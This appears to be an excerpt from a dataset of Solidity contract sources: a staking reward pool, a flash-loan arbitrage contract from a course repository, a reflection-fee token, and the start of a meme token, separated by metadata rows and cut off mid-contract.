msg.sender, "CashRewardPool: caller is not the operator"); _; } function checkPoolDuplicate(IERC20 _lpToken) internal view { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].lpToken != _lpToken, "CashRewardPool: existing pool?"); } } // Add a new lp to the pool. Can only be called by the owner. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOperator { checkPoolDuplicate(_lpToken); if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { // chef is sleeping if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; } else { if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } } else { // chef is cooking if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (_lastRewardBlock <= startBlock) || (_lastRewardBlock <= block.number); poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : _lastRewardBlock, accCashPerShare : 0, isStarted : _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } // Update the given pool's CASH allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint) public onlyOperator { massUpdatePools(); PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint); } pool.allocPoint = _allocPoint; } // Return accumulate rewards over the given _from to _to block. function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) { if (_from >= _to) return 0; if (_to >= endBlock) { if (_from >= endBlock) return 0; if (_from <= startBlock) return endBlock.sub(startBlock).mul(cashPerBlock); return endBlock.sub(_from).mul(cashPerBlock); } else { if (_to <= startBlock) return 0; if (_from <= startBlock) return _to.sub(startBlock).mul(cashPerBlock); return _to.sub(_from).mul(cashPerBlock); } } // View function to see pending CASHs on frontend. function pendingCash(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCashPerShare = pool.accCashPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number); uint256 _cashReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint); accCashPerShare = accCashPerShare.add(_cashReward.mul(1e18).div(lpSupply)); } return user.amount.mul(accCashPerShare).div(1e18).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } if (totalAllocPoint > 0) { uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number); uint256 _cashReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint); pool.accCashPerShare = pool.accCashPerShare.add(_cashReward.mul(1e18).div(lpSupply)); } pool.lastRewardBlock = block.number; } // Deposit LP tokens. function deposit(uint256 _pid, uint256 _amount) public { address _sender = msg.sender; PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_sender]; updatePool(_pid); if (user.amount > 0) { uint256 _pending = user.amount.mul(pool.accCashPerShare).div(1e18).sub(user.rewardDebt); if (_pending > 0) { safeCashTransfer(_sender, _pending); emit RewardPaid(_sender, _pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(_sender, address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accCashPerShare).div(1e18); emit Deposit(_sender, _pid, _amount); } // Withdraw LP tokens. function withdraw(uint256 _pid, uint256 _amount) public { address _sender = msg.sender; PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 _pending = user.amount.mul(pool.accCashPerShare).div(1e18).sub(user.rewardDebt); if (_pending > 0) { safeCashTransfer(_sender, _pending); emit RewardPaid(_sender, _pending); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(_sender, _amount); } user.rewardDebt = user.amount.mul(pool.accCashPerShare).div(1e18); emit Withdraw(_sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(msg.sender, _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe cash transfer function, just in case if rounding error causes pool to not have enough CASHs. function safeCashTransfer(address _to, uint256 _amount) internal { uint256 _cashBal = cash.balanceOf(address(this)); if (_cashBal > 0) { if (_amount > _cashBal) { cash.safeTransfer(_to, _cashBal); totalCirculating = totalCirculating.add(_cashBal); } else { cash.safeTransfer(_to, _amount); totalCirculating = totalCirculating.add(_amount); } } } function getTotalCirculating() view public returns (uint256) { return totalCirculating; } function setOperator(address _operator) external onlyOperator { operator = _operator; } function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator { if (block.number < endBlock + BLOCKS_PER_WEEK * 26) { // do not allow to drain core token (CASH or lps) if less than 6 months after pool ends require(_token != cash, "cash"); uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; require(_token != pool.lpToken, "pool.lpToken"); } } _token.safeTransfer(to, amount); } }
10,297
12,091
33127cc86becd657cb91e4c1eace94455ba8ed41d1468457ee5ad888b39fa99f
11,577
.sol
Solidity
false
482128030
yueying007/blockchainclass
1ded69a65a6c93168c5dd1ceba50a6c2d6d03a7f
lesson6/Contract/SimpleArbi.sol
3,368
11,250
pragma solidity 0.8.0; // -- interface -- // interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); } interface IWETH { function deposit() external payable; function withdraw(uint wad) external; } interface ILiquidity { function borrow(address _token, uint256 _amount, bytes calldata _data) external; } interface ICurveCrypto { function exchange(uint256 from, uint256 to, uint256 from_amount, uint256 min_to_amount) external payable; function get_dy(uint256 from, uint256 to, uint256 from_amount) external view returns(uint256); } interface IUniswapV3Pair { function swap(address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data) external returns (int256 amount0, int256 amount1); function fee() external view returns(uint24); } // -- library -- // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library TickMath { uint160 internal constant MIN_SQRT_RATIO = 4295128739; uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; } contract SimpleArbi { using SafeMath for uint256; using SafeERC20 for IERC20; struct RepayData { SwapData[] swap_data; address repay_token; uint256 repay_amount; address recipient; bool direct_repay; } struct SwapData { uint function_id; uint256 token_in_id; uint256 token_out_id; address token_in; address token_out; address pool; } address owner; address liquidityPool = 0x4F868C1aa37fCf307ab38D215382e88FCA6275E2; address borrowerProxy = 0x17a4C8F43cB407dD21f9885c5289E66E21bEcD9D; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 MAX_INT = 2**256 - 1; bool lock = true; // constructor constructor () public { owner = address(tx.origin); } // modifier modifier onlyOwner(){ require(address(msg.sender) == owner, "No authority"); _; } modifier Lock() { lock = false; _; lock = true; } // fallback receive() external payable {} // get function getOwner() public view returns(address) { return owner; } function getTokenBalance(address token, address account) public view returns(uint256) { return IERC20(token).balanceOf(account); } // set function turnOutETH(uint256 amount) public onlyOwner { payable(owner).transfer(amount); } function turnOutToken(address token, uint256 amount) public onlyOwner { IERC20(token).safeTransfer(owner, amount); } function WETHToETH(uint256 amount) public onlyOwner { IWETH(WETH).withdraw(amount); } function ETHtoWETH(uint256 amount) public onlyOwner { IWETH(WETH).deposit{value:amount}(); } function setLock(bool tof) public onlyOwner { lock = tof; } function execute(bytes[] memory data, uint256 amount_in) public onlyOwner Lock returns(uint256) { SwapData[] memory _swap_data = new SwapData[](data.length); for (uint i = 0; i <= data.length - 1; i++) { _swap_data[i] = abi.decode(data[i], (SwapData)); } uint256 balance_before = IERC20(_swap_data[0].token_in).balanceOf(address(this)); RepayData memory _repay_data = RepayData(_swap_data, _swap_data[0].token_in, amount_in, liquidityPool, false); ILiquidity(liquidityPool).borrow(_swap_data[0].token_in, amount_in, abi.encodeWithSignature("receiveLoan(bytes)", abi.encode(_repay_data))); uint256 balance_after = IERC20(_swap_data[0].token_in).balanceOf(address(this)); require(balance_after > balance_before, "No Profit!"); return balance_after - balance_before; } // callback function receiveLoan(bytes memory data) public { require(!lock, "Locked"); RepayData memory _repay_data = abi.decode(data, (RepayData)); if (_repay_data.direct_repay) { IERC20(_repay_data.repay_token).safeTransfer(_repay_data.recipient, _repay_data.repay_amount); } else { uint _length = _repay_data.swap_data.length; uint256 out_amount; for (uint i = 0; i <= _length - 1; i++) { out_amount = SwapBase(_repay_data.swap_data[i].pool, _repay_data.swap_data[i].function_id, i == 0 ? _repay_data.repay_amount : out_amount, _repay_data.swap_data[i].token_in_id, _repay_data.swap_data[i].token_out_id, _repay_data.swap_data[i].token_in, _repay_data.swap_data[i].token_out); } IERC20(_repay_data.repay_token).safeTransfer(_repay_data.recipient, _repay_data.repay_amount); } } // approve function ApproveToken(address token, address spender, uint256 amount) internal { uint256 alowance = IERC20(token).allowance(address(this), spender); if (alowance < amount) { IERC20(token).safeApprove(spender, 0); IERC20(token).safeApprove(spender, MAX_INT); } } // CurveCrypto function CurveCryptoExchange(address pool, uint256 token_in_id, uint256 token_out_id, address token_in, uint256 amount_in) internal { ApproveToken(token_in, pool, amount_in); ICurveCrypto(pool).exchange(token_in_id, token_out_id, amount_in, 0); } // UniSwapV3 function UniswapV3Swap(address pool, address token_in, address token_out, uint256 amount_in) internal { bool zeroForOne = token_in < token_out; SwapData[] memory _empty_swap = new SwapData[](0); RepayData memory _repay_data = RepayData(_empty_swap, token_in, amount_in, pool, true); IUniswapV3Pair(pool).swap(address(this), zeroForOne, int256(amount_in), (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1), abi.encode(_repay_data)); } function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) public { receiveLoan(_data); } // SwapBase function SwapBase(address pool, uint256 function_id, uint256 amount_in, uint256 token_in_id, uint256 token_out_id, address token_in, address token_out) internal returns(uint256) { uint256 balance = IERC20(token_out).balanceOf(address(this)); if (function_id == 1) { UniswapV3Swap(pool, token_in, token_out, amount_in); } else if (function_id == 2) { CurveCryptoExchange(pool, token_in_id, token_out_id, token_in, amount_in); } return IERC20(token_out).balanceOf(address(this)) - balance; } }
12,233
12,092
aad016f0e65b86f4e5d502277e319f610f9542e9818a37637f20ba2159c1dd63
25,887
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/fb/Fb7c9611Ea8C7C44E379a5FfDE97AA0Ee66996B0_Test.sol
4,437
16,377
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Test is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'test'; string private _symbol = 'tst'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
97,805
12,093
846a5594e6f5ce6f1ec26794efe2e560082ca72fb25134e2f524d25008cfa37c
14,032
.sol
Solidity
false
606585904
plotchy/defi-detective
f48830b1085dac002283a2ce5e565e341aab5d0c
00byaddress/0027C3e1dcfa47a958c266435B03096C8D6Ee6cf.sol
3,671
13,196
pragma solidity 0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ECAT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _standardTax; address payable private _feeAddrWallet; string private constant _name = "CATETH"; string private constant _symbol = "ECAT"; uint8 private constant _decimals = 5; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal.mul(2).div(100); uint256 private _maxWalletSize = _tTotal.mul(2).div(100); event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; _standardTax=5; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 